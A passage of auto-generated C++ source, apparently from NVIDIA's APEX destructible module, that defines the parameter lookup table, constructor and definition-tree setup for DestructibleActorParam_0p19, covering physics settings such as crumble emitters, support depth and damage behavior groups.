{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word1), NULL, 0 }, // p3ShapeDescTemplate.simulationFilterData.word1
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word2), NULL, 0 }, // p3ShapeDescTemplate.simulationFilterData.word2
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word3), NULL, 0 }, // p3ShapeDescTemplate.simulationFilterData.word3
{ TYPE_STRUCT, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->queryFilterData), CHILDREN(167), 4 }, // p3ShapeDescTemplate.queryFilterData
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word0), NULL, 0 }, // p3ShapeDescTemplate.queryFilterData.word0
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word1), NULL, 0 }, // p3ShapeDescTemplate.queryFilterData.word1
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word2), NULL, 0 }, // p3ShapeDescTemplate.queryFilterData.word2
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word3), NULL, 0 }, // p3ShapeDescTemplate.queryFilterData.word3
{ TYPE_U64, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->material), NULL, 0 }, // p3ShapeDescTemplate.material
{ TYPE_F32, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->contactOffset), NULL, 0 }, // p3ShapeDescTemplate.contactOffset
{ TYPE_F32, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->restOffset), NULL, 0 }, // p3ShapeDescTemplate.restOffset
{ TYPE_U64, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->userData), NULL, 0 }, // p3ShapeDescTemplate.userData
{ TYPE_U64, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->name), NULL, 0 }, // p3ShapeDescTemplate.name
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->p3ActorDescTemplate), CHILDREN(171), 7 }, // p3ActorDescTemplate
{ TYPE_STRUCT, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->flags), CHILDREN(178), 3 }, // p3ActorDescTemplate.flags
{ TYPE_BOOL, false, (size_t)(&((P3ActorFlags_Type*)0)->eVISUALIZATION), NULL, 0 }, // p3ActorDescTemplate.flags.eVISUALIZATION
{ TYPE_BOOL, false, (size_t)(&((P3ActorFlags_Type*)0)->eDISABLE_GRAVITY), NULL, 0 }, // p3ActorDescTemplate.flags.eDISABLE_GRAVITY
{ TYPE_BOOL, false, (size_t)(&((P3ActorFlags_Type*)0)->eSEND_SLEEP_NOTIFIES), NULL, 0 }, // p3ActorDescTemplate.flags.eSEND_SLEEP_NOTIFIES
{ TYPE_U8, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->dominanceGroup), NULL, 0 }, // p3ActorDescTemplate.dominanceGroup
{ TYPE_U8, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->ownerClient), NULL, 0 }, // p3ActorDescTemplate.ownerClient
{ TYPE_U32, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->clientBehaviorBits), NULL, 0 }, // p3ActorDescTemplate.clientBehaviorBits
{ TYPE_STRUCT, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->contactReportFlags), CHILDREN(181), 15 }, // p3ActorDescTemplate.contactReportFlags
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eRESOLVE_CONTACTS), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eRESOLVE_CONTACTS
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eMODIFY_CONTACTS), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eMODIFY_CONTACTS
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_TOUCH_FOUND), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_FOUND
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_TOUCH_PERSISTS), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_PERSISTS
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_TOUCH_LOST), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_TOUCH_LOST
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_THRESHOLD_FORCE_FOUND), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_FOUND
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_THRESHOLD_FORCE_PERSISTS), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_PERSISTS
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_THRESHOLD_FORCE_LOST), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_THRESHOLD_FORCE_LOST
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_CONTACT_POINTS), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_POINTS
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_CONTACT_FORCES), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FORCES
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_CONTACT_FORCE_PER_POINT), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FORCE_PER_POINT
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eNOTIFY_CONTACT_FEATURE_INDICES_PER_POINT), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eNOTIFY_CONTACT_FEATURE_INDICES_PER_POINT
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eCCD_LINEAR), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eCCD_LINEAR
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eCONTACT_DEFAULT), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eCONTACT_DEFAULT
{ TYPE_BOOL, false, (size_t)(&((P3PairFlag_Type*)0)->eTRIGGER_DEFAULT), NULL, 0 }, // p3ActorDescTemplate.contactReportFlags.eTRIGGER_DEFAULT
{ TYPE_U64, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->userData), NULL, 0 }, // p3ActorDescTemplate.userData
{ TYPE_U64, false, (size_t)(&((P3ActorDescTemplate_Type*)0)->name), NULL, 0 }, // p3ActorDescTemplate.name
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->p3BodyDescTemplate), CHILDREN(196), 10 }, // p3BodyDescTemplate
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->density), NULL, 0 }, // p3BodyDescTemplate.density
{ TYPE_STRUCT, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->flags), CHILDREN(206), 2 }, // p3BodyDescTemplate.flags
{ TYPE_BOOL, false, (size_t)(&((P3BodyDescFlags_Type*)0)->eKINEMATIC), NULL, 0 }, // p3BodyDescTemplate.flags.eKINEMATIC
{ TYPE_BOOL, false, (size_t)(&((P3BodyDescFlags_Type*)0)->eENABLE_CCD), NULL, 0 }, // p3BodyDescTemplate.flags.eENABLE_CCD
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->sleepThreshold), NULL, 0 }, // p3BodyDescTemplate.sleepThreshold
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->wakeUpCounter), NULL, 0 }, // p3BodyDescTemplate.wakeUpCounter
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->linearDamping), NULL, 0 }, // p3BodyDescTemplate.linearDamping
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->angularDamping), NULL, 0 }, // p3BodyDescTemplate.angularDamping
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->maxAngularVelocity), NULL, 0 }, // p3BodyDescTemplate.maxAngularVelocity
{ TYPE_U32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->solverIterationCount), NULL, 0 }, // p3BodyDescTemplate.solverIterationCount
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->contactReportThreshold), NULL, 0 }, // p3BodyDescTemplate.contactReportThreshold
{ TYPE_F32, false, (size_t)(&((P3BodyDescTemplate_Type*)0)->sleepLinearVelocity), NULL, 0 }, // p3BodyDescTemplate.sleepLinearVelocity
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->structureSettings), CHILDREN(208), 3 }, // structureSettings
{ TYPE_BOOL, false, (size_t)(&((StructureSettings_Type*)0)->useStressSolver), NULL, 0 }, // structureSettings.useStressSolver
{ TYPE_F32, false, (size_t)(&((StructureSettings_Type*)0)->stressSolverTimeDelay), NULL, 0 }, // structureSettings.stressSolverTimeDelay
{ TYPE_F32, false, (size_t)(&((StructureSettings_Type*)0)->stressSolverMassThreshold), NULL, 0 }, // structureSettings.stressSolverMassThreshold
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->defaultBehaviorGroup), CHILDREN(211), 10 }, // defaultBehaviorGroup
{ TYPE_STRING, false, (size_t)(&((BehaviorGroup_Type*)0)->name), NULL, 0 }, // defaultBehaviorGroup.name
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->damageThreshold), NULL, 0 }, // defaultBehaviorGroup.damageThreshold
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->damageToRadius), NULL, 0 }, // defaultBehaviorGroup.damageToRadius
{ TYPE_STRUCT, false, (size_t)(&((BehaviorGroup_Type*)0)->damageSpread), CHILDREN(221), 3 }, // defaultBehaviorGroup.damageSpread
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->minimumRadius), NULL, 0 }, // defaultBehaviorGroup.damageSpread.minimumRadius
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->radiusMultiplier), NULL, 0 }, // defaultBehaviorGroup.damageSpread.radiusMultiplier
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->falloffExponent), NULL, 0 }, // defaultBehaviorGroup.damageSpread.falloffExponent
{ TYPE_STRUCT, false, (size_t)(&((BehaviorGroup_Type*)0)->damageColorSpread), CHILDREN(224), 3 }, // defaultBehaviorGroup.damageColorSpread
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->minimumRadius), NULL, 0 }, // defaultBehaviorGroup.damageColorSpread.minimumRadius
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->radiusMultiplier), NULL, 0 }, // defaultBehaviorGroup.damageColorSpread.radiusMultiplier
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->falloffExponent), NULL, 0 }, // defaultBehaviorGroup.damageColorSpread.falloffExponent
{ TYPE_VEC4, false, (size_t)(&((BehaviorGroup_Type*)0)->damageColorChange), NULL, 0 }, // defaultBehaviorGroup.damageColorChange
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->materialStrength), NULL, 0 }, // defaultBehaviorGroup.materialStrength
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->density), NULL, 0 }, // defaultBehaviorGroup.density
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->fadeOut), NULL, 0 }, // defaultBehaviorGroup.fadeOut
{ TYPE_STRUCT, false, (size_t)(&((BehaviorGroup_Type*)0)->groupsMask), CHILDREN(227), 5 }, // defaultBehaviorGroup.groupsMask
{ TYPE_BOOL, false, (size_t)(&((GroupsMask_Type*)0)->useGroupsMask), NULL, 0 }, // defaultBehaviorGroup.groupsMask.useGroupsMask
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits0), NULL, 0 }, // defaultBehaviorGroup.groupsMask.bits0
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits1), NULL, 0 }, // defaultBehaviorGroup.groupsMask.bits1
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits2), NULL, 0 }, // defaultBehaviorGroup.groupsMask.bits2
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits3), NULL, 0 }, // defaultBehaviorGroup.groupsMask.bits3
{ TYPE_ARRAY, true, (size_t)(&((ParametersStruct*)0)->behaviorGroups), CHILDREN(232), 1 }, // behaviorGroups
{ TYPE_STRUCT, false, 1 * sizeof(BehaviorGroup_Type), CHILDREN(233), 10 }, // behaviorGroups[]
{ TYPE_STRING, false, (size_t)(&((BehaviorGroup_Type*)0)->name), NULL, 0 }, // behaviorGroups[].name
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->damageThreshold), NULL, 0 }, // behaviorGroups[].damageThreshold
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->damageToRadius), NULL, 0 }, // behaviorGroups[].damageToRadius
{ TYPE_STRUCT, false, (size_t)(&((BehaviorGroup_Type*)0)->damageSpread), CHILDREN(243), 3 }, // behaviorGroups[].damageSpread
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->minimumRadius), NULL, 0 }, // behaviorGroups[].damageSpread.minimumRadius
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->radiusMultiplier), NULL, 0 }, // behaviorGroups[].damageSpread.radiusMultiplier
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->falloffExponent), NULL, 0 }, // behaviorGroups[].damageSpread.falloffExponent
{ TYPE_STRUCT, false, (size_t)(&((BehaviorGroup_Type*)0)->damageColorSpread), CHILDREN(246), 3 }, // behaviorGroups[].damageColorSpread
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->minimumRadius), NULL, 0 }, // behaviorGroups[].damageColorSpread.minimumRadius
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->radiusMultiplier), NULL, 0 }, // behaviorGroups[].damageColorSpread.radiusMultiplier
{ TYPE_F32, false, (size_t)(&((DamageSpreadFunction_Type*)0)->falloffExponent), NULL, 0 }, // behaviorGroups[].damageColorSpread.falloffExponent
{ TYPE_VEC4, false, (size_t)(&((BehaviorGroup_Type*)0)->damageColorChange), NULL, 0 }, // behaviorGroups[].damageColorChange
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->materialStrength), NULL, 0 }, // behaviorGroups[].materialStrength
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->density), NULL, 0 }, // behaviorGroups[].density
{ TYPE_F32, false, (size_t)(&((BehaviorGroup_Type*)0)->fadeOut), NULL, 0 }, // behaviorGroups[].fadeOut
{ TYPE_STRUCT, false, (size_t)(&((BehaviorGroup_Type*)0)->groupsMask), CHILDREN(249), 5 }, // behaviorGroups[].groupsMask
{ TYPE_BOOL, false, (size_t)(&((GroupsMask_Type*)0)->useGroupsMask), NULL, 0 }, // behaviorGroups[].groupsMask.useGroupsMask
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits0), NULL, 0 }, // behaviorGroups[].groupsMask.bits0
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits1), NULL, 0 }, // behaviorGroups[].groupsMask.bits1
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits2), NULL, 0 }, // behaviorGroups[].groupsMask.bits2
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits3), NULL, 0 }, // behaviorGroups[].groupsMask.bits3
};
bool DestructibleActorParam_0p19::mBuiltFlag = false;
NvParameterized::MutexType DestructibleActorParam_0p19::mBuiltFlagMutex;
DestructibleActorParam_0p19::DestructibleActorParam_0p19(NvParameterized::Traits* traits, void* buf, int32_t* refCount) :
NvParameters(traits, buf, refCount)
{
//mParameterizedTraits->registerFactory(className(), &DestructibleActorParam_0p19FactoryInst);
if (!buf) //Do not init data if it is inplace-deserialized
{
initDynamicArrays();
initStrings();
initReferences();
initDefaults();
}
}
DestructibleActorParam_0p19::~DestructibleActorParam_0p19()
{
freeStrings();
freeReferences();
freeDynamicArrays();
}
void DestructibleActorParam_0p19::destroy()
{
// We cache these fields here to avoid overwrite in destructor
bool doDeallocateSelf = mDoDeallocateSelf;
NvParameterized::Traits* traits = mParameterizedTraits;
int32_t* refCount = mRefCount;
void* buf = mBuffer;
this->~DestructibleActorParam_0p19();
NvParameters::destroy(this, traits, doDeallocateSelf, refCount, buf);
}
const NvParameterized::DefinitionImpl* DestructibleActorParam_0p19::getParameterDefinitionTree(void)
{
if (!mBuiltFlag) // Double-checked lock
{
NvParameterized::MutexType::ScopedLock lock(mBuiltFlagMutex);
if (!mBuiltFlag)
{
buildTree();
}
}
return(&ParamDefTable[0]);
}
const NvParameterized::DefinitionImpl* DestructibleActorParam_0p19::getParameterDefinitionTree(void) const
{
DestructibleActorParam_0p19* tmpParam = const_cast<DestructibleActorParam_0p19*>(this);
if (!mBuiltFlag) // Double-checked lock
{
NvParameterized::MutexType::ScopedLock lock(mBuiltFlagMutex);
if (!mBuiltFlag)
{
tmpParam->buildTree();
}
}
return(&ParamDefTable[0]);
}
NvParameterized::ErrorType DestructibleActorParam_0p19::getParameterHandle(const char* long_name, Handle& handle) const
{
ErrorType Ret = NvParameters::getParameterHandle(long_name, handle);
if (Ret != ERROR_NONE)
{
return(Ret);
}
size_t offset;
void* ptr;
getVarPtr(handle, ptr, offset);
if (ptr == NULL)
{
return(ERROR_INDEX_OUT_OF_RANGE);
}
return(ERROR_NONE);
}
NvParameterized::ErrorType DestructibleActorParam_0p19::getParameterHandle(const char* long_name, Handle& handle)
{
ErrorType Ret = NvParameters::getParameterHandle(long_name, handle);
if (Ret != ERROR_NONE)
{
return(Ret);
}
size_t offset;
void* ptr;
getVarPtr(handle, ptr, offset);
if (ptr == NULL)
{
return(ERROR_INDEX_OUT_OF_RANGE);
}
return(ERROR_NONE);
}
void DestructibleActorParam_0p19::getVarPtr(const Handle& handle, void*& ptr, size_t& offset) const
{
ptr = getVarPtrHelper(&ParamLookupTable[0], const_cast<DestructibleActorParam_0p19::ParametersStruct*>(¶meters()), handle, offset);
}
/* Dynamic Handle Indices */
/* [0] - overrideSkinnedMaterialNames (not an array of structs) */
/* [0] - overrideStaticMaterialNames (not an array of structs) */
/* [1,0] - behaviorGroups.name */
void DestructibleActorParam_0p19::freeParameterDefinitionTable(NvParameterized::Traits* traits)
{
if (!traits)
{
return;
}
if (!mBuiltFlag) // Double-checked lock
{
return;
}
NvParameterized::MutexType::ScopedLock lock(mBuiltFlagMutex);
if (!mBuiltFlag)
{
return;
}
for (uint32_t i = 0; i < NumParamDefs; ++i)
{
ParamDefTable[i].~DefinitionImpl();
}
traits->free(ParamDefTable);
mBuiltFlag = false;
}
#define PDEF_PTR(index) (&ParamDefTable[index])
void DestructibleActorParam_0p19::buildTree(void)
{
uint32_t allocSize = sizeof(NvParameterized::DefinitionImpl) * NumParamDefs;
ParamDefTable = (NvParameterized::DefinitionImpl*)(mParameterizedTraits->alloc(allocSize));
memset(ParamDefTable, 0, allocSize);
for (uint32_t i = 0; i < NumParamDefs; ++i)
{
NV_PARAM_PLACEMENT_NEW(ParamDefTable + i, NvParameterized::DefinitionImpl)(*mParameterizedTraits);
}
// Initialize DefinitionImpl node: nodeIndex=0, longName=""
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[0];
ParamDef->init("", TYPE_STRUCT, "STRUCT", true);
}
// Initialize DefinitionImpl node: nodeIndex=1, longName="crumbleEmitterName"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[1];
ParamDef->init("crumbleEmitterName", TYPE_STRING, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The name of the NxMeshParticleSystem to use for crumbling. This overrides the crumble system defined\nin the NxDestructibleAsset if specified.\n", true);
HintTable[1].init("shortDescription", "The name of the NxMeshParticleSystem to use for crumbling", true);
ParamDefTable[1].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=2, longName="crumbleParticleSpacing"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[2];
ParamDef->init("crumbleParticleSpacing", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How far apart to space the particles when crumling. If set to zero or a negative value, then the spacing is taken to be the crumble emitter's particle radius, if the\ncrumble emitter exists. This spacing will be used when placing particle positions in the crumble emitter and the crumble buffer callback. Note - if there is no crumble emitter\nbut there is a crumble buffer callback, then this value must be positive in order to have a proper spacing for the callback. Otherwise, the callback will not be called.\nThe default value is 0.\n", true);
HintTable[1].init("shortDescription", "How far apart to space the particles when crumbling", true);
ParamDefTable[2].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=3, longName="dustEmitterName"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[3];
ParamDef->init("dustEmitterName", TYPE_STRING, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The name of the NxMeshParticleSystem to use for fracture-line dust. This overrides the dust system defined\nin the NxDestructibleAsset if specified.\n", true);
HintTable[1].init("shortDescription", "The name of the NxMeshParticleSystem to use for fracture-line dust", true);
ParamDefTable[3].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=4, longName="dustParticleSpacing"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[4];
ParamDef->init("dustParticleSpacing", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How far apart to space the particles when crumling. If set to zero or a negative value, then the spacing is taken to be the dust emitter's particle radius, if the\ndust emitter exists. This spacing will be used when placing particle positions in the dust emitter and the dust particle buffer callback. Note - if there is no dust emitter\nbut there is a dust particle buffer callback, then this value must be positive in order to have a proper spacing for the callback. Otherwise, the callback will not be called.\nThe default value is 0.\n", true);
HintTable[1].init("shortDescription", "How far apart to space the particles when creating dust particles", true);
ParamDefTable[4].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=5, longName="globalPose"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[5];
ParamDef->init("globalPose", TYPE_MAT34, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Initial global pose of undamaged destructible\n", true);
HintTable[1].init("shortDescription", "The initial pose where the destructible actor will be put into the scene", true);
ParamDefTable[5].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=6, longName="scale"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[6];
ParamDef->init("scale", TYPE_VEC3, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "3D Scale\n", true);
HintTable[1].init("shortDescription", "3D Scale", true);
ParamDefTable[6].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=7, longName="dynamic"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[7];
ParamDef->init("dynamic", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not the destructible starts life as a dynamic actor\n", true);
HintTable[1].init("shortDescription", "Whether or not the destructible starts life as a dynamic actor", true);
ParamDefTable[7].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=8, longName="supportDepth"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[8];
ParamDef->init("supportDepth", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The chunk hierarchy depth at which to create a support graph. Higher depth levels give more detailed support,\nbut will give a higher computational load. Chunks below the support depth will never be supported.\n", true);
HintTable[1].init("shortDescription", "The chunk hierarchy depth at which to create a support graph.", true);
ParamDefTable[8].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=9, longName="formExtendedStructures"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[9];
ParamDef->init("formExtendedStructures", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If initially static, the destructible will become part of an extended support structure if it is\nin contact with another static destructible that also has this flag set.\n", true);
HintTable[1].init("shortDescription", "If initially static, the destructible will become part of an extended support structure if it is in contact with another static destructible that also has this flag set.", true);
ParamDefTable[9].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=10, longName="keepPreviousFrameBoneBuffer"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[10];
ParamDef->init("keepPreviousFrameBoneBuffer", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If true, the skinned mesh will hold a bone buffer for the last frame. The poses in the new buffer correspond the poses in the current frame buffer,\n chunk was not visible in the last frame.", true);
HintTable[1].init("shortDescription", "If true, the skinned mesh will hold a bone buffer for the last frame", true);
ParamDefTable[10].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=11, longName="useAssetDefinedSupport"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[11];
ParamDef->init("useAssetDefinedSupport", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, then chunks which are tagged as 'support' chunks (via NxDestructibleChunkDesc::isSupportChunk)\nwill have environmental support in static destructibles.\nNote: if both ASSET_DEFINED_SUPPORT and WORLD_SUPPORT are set, then chunks must be tagged as\n'support' chunks AND overlap the NxScene's static geometry in order to be environmentally supported.\n", true);
HintTable[1].init("shortDescription", "If set, then chunks which are tagged as 'support' chunks", true);
ParamDefTable[11].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=12, longName="useWorldSupport"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[12];
ParamDef->init("useWorldSupport", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, then chunks which overlap the NxScene\'s static geometry will have environmental support in\nstatic destructibles.\nNote: if both ASSET_DEFINED_SUPPORT and WORLD_SUPPORT are set, then chunks must be tagged as\n'support' chunks AND overlap the NxScene's static geometry in order to be environmentally supported.\n", true);
HintTable[1].init("shortDescription", "If set, then chunks which overlap the NxScene's static geometry will have environmental support", true);
ParamDefTable[12].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=13, longName="renderStaticChunksSeparately"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[13];
ParamDef->init("renderStaticChunksSeparately", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
